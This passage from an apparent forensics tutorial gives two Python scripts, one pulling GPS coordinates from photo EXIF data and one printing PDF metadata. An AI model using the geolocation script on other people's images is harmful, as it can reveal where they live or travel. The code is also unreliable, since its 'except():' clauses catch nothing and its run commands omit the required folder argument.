  2883. ---------------------------Paste This-----------------------------------
  2884. import sys
  2885. import os
  2886. from PIL import Image
  2887. from PIL.ExifTags import TAGS
  2888.  
  2889. for root, dir, files in os.walk(str(sys.argv[1])):
  2890.     for fp in files:
  2891.         if ".JPG" in fp.upper():
  2892.             # open a file and extract exif
  2893.             fn = root + "/" + fp
  2894.             try:
  2895.                 i = Image.open(fn)
  2896.                 info = i._getexif()
  2897.                 exif = {}
  2898.                 for tag, value in info.items():
  2899.                     decoded = TAGS.get(tag, tag)
  2900.                     exif[decoded] = value
  2901.                 # from the exif data, extract gps
  2902.                 exifGPS = exif['GPSInfo']
  2903.                 latData = exifGPS[2]
  2904.                 lonData = exifGPS[4]
  2905.                 # calculate the lat / long
  2906.                 latDeg = latData[0][0] / float(latData[0][1])
  2907.                 latMin = latData[1][0] / float(latData[1][1])
  2908.                 latSec = latData[2][0] / float(latData[2][1])
  2909.                 lonDeg = lonData[0][0] / float(lonData[0][1])
  2910.                 lonMin = lonData[1][0] / float(lonData[1][1])
  2911.                 lonSec = lonData[2][0] / float(lonData[2][1])
  2912.                 # correct the lat/lon based on N/E/W/S
  2913.                 Lat = (latDeg + (latMin + latSec / 60.0) / 60.0)
  2914.                 if exifGPS[1] == 'S':
  2915.                     Lat = Lat * -1
  2916.                 Lon = (lonDeg + (lonMin + lonSec / 60.0) / 60.0)
  2917.                 if exifGPS[3] == 'W':
  2918.                     Lon = Lon * -1
  2919.                 # print file
  2920.                 msg = fn + " located at " + str(Lat) + "," + str(Lon)
  2921.                 print(msg)
  2922.             except():
  2923.                 pass
  2924. -----------------------------------------------------------------------
  2925.  
  2926.  
  2927. ---------------------------Type This-----------------------------------
  2928. python3 extract-geo-location_from_image.py
  2929. -----------------------------------------------------------------------
  2930.  
  2931.  
  2932.  
  2933.  
  2934.  
  2935.  
  2936. ---------------------------Type This-----------------------------------
  2937.  
  2938. nano metadata_extraction_pdf.py
  2939.  
  2940. ---------------------------Paste This-----------------------------------
  2941. import warnings
  2942. import sys
  2943. import os
  2944. import string
  2945. from PyPDF2 import PdfFileWriter, PdfFileReader
  2946. warnings.filterwarnings("ignore")
  2947.  
  2948. for root, dir, files in os.walk(str(sys.argv[1])):
  2949.     for fp in files:
  2950.         if ".pdf" in fp:
  2951.             fn = root + "/" + fp
  2952.  
  2953.             try:
  2954.  
  2955.                 pdfFile = PdfFileReader(open(fn, "rb"))
  2956.                 # print("title = %s" % (pdfFile.getDocumentInfo().title))
  2957.                 title = pdfFile.getDocumentInfo().title#.upper()
  2958.                 author = pdfFile.getDocumentInfo().author#.upper()
  2959.                 pages = pdfFile.getNumPages()
  2960.                 print()
  2961.  
  2962.                 if title is not None:
  2963.                     print("The title of the PDF is: ", title)
  2964.                 if title is None:
  2965.                     print("The PDF has no title")
  2966.                 if author is not None:
  2967.                     print("The autor of the PDF is: ", author)
  2968.                 if author is None:
  2969.                     print("TThe PDF has no author")
  2970.                 if pages is not None:
  2971.                     print("The total pages of the PDF is: ", pages)
  2972.                 if pages is None:
  2973.                     print("The PDF has no pages")
  2974.             except():
  2975.                 pass
  2976. -----------------------------------------------------------------------
  2977.  
  2978.  
  2979. ---------------------------Type This-----------------------------------
  2980. python3 metadata_extraction_pdf.py
  2981. -----------------------------------------------------------------------
Add Comment
Please, Sign In to add comment